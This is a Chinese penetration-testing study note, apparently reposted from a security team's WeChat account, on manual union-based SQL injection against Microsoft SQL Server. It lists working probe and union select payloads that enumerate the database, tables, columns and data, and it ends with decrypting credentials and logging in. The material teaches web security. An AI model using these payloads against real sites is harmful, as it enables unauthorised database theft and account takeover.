点击上方蓝字关注我们
本系列实战笔记为红日安全核心人员学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容: 1、黑客工具使用; 2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识; 3、PHP语言讲解笔记 4、PHP代码审计笔记 5、WAF绕过笔记 6、逻辑漏洞学习笔记 希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源
1. 前言
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。 @@servername:放回运行Sql server的本地服务器名称 top在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。
2. 正文
;declare @d int //判断sql server 支持多行语句查询 and (select count(1) from [sysobjects])>=0 //是否支持子查询 and user >0 //获取当前数据库用户名 and db_name>0 //获取当前数据库名称 and (select count(1) from [sysobjects])>=0 //当前数据库名 and 1=(select @@servername) //本地服务名
3. 判断注入点
通过观察,发现公告的地方可以进行尝试,如下图
4. 判断字段数
6. 爆库
然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为 结果为下图,爆出了数据库
7. 爆表
知道数据库名后,构造如下语句,爆出表名 结果如下图
8. 爆字段
通过构造如下语句,可以爆出所有字段, 结果如下图
9. 获取数据
通过构造如下语句 结果如下图
解密,登陆。实战结束
10. sql server(mssql)手工注入总结
第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。 第二步,判断字段数 通过 order by 语句。 第三步,判断回显位置 通过 union all select null,null,unll,unll 用数字依次替换,发现,第二个位置回显到页面上。 第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2) 第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null第八步,解密,登陆。 红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! (来源:红日安全)
海量安全课程
阅读原文 即可观看
本文始发于微信公众号(红日安全):Web安全实战系列笔记 | SqlServer手工注入实战和分析(四)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论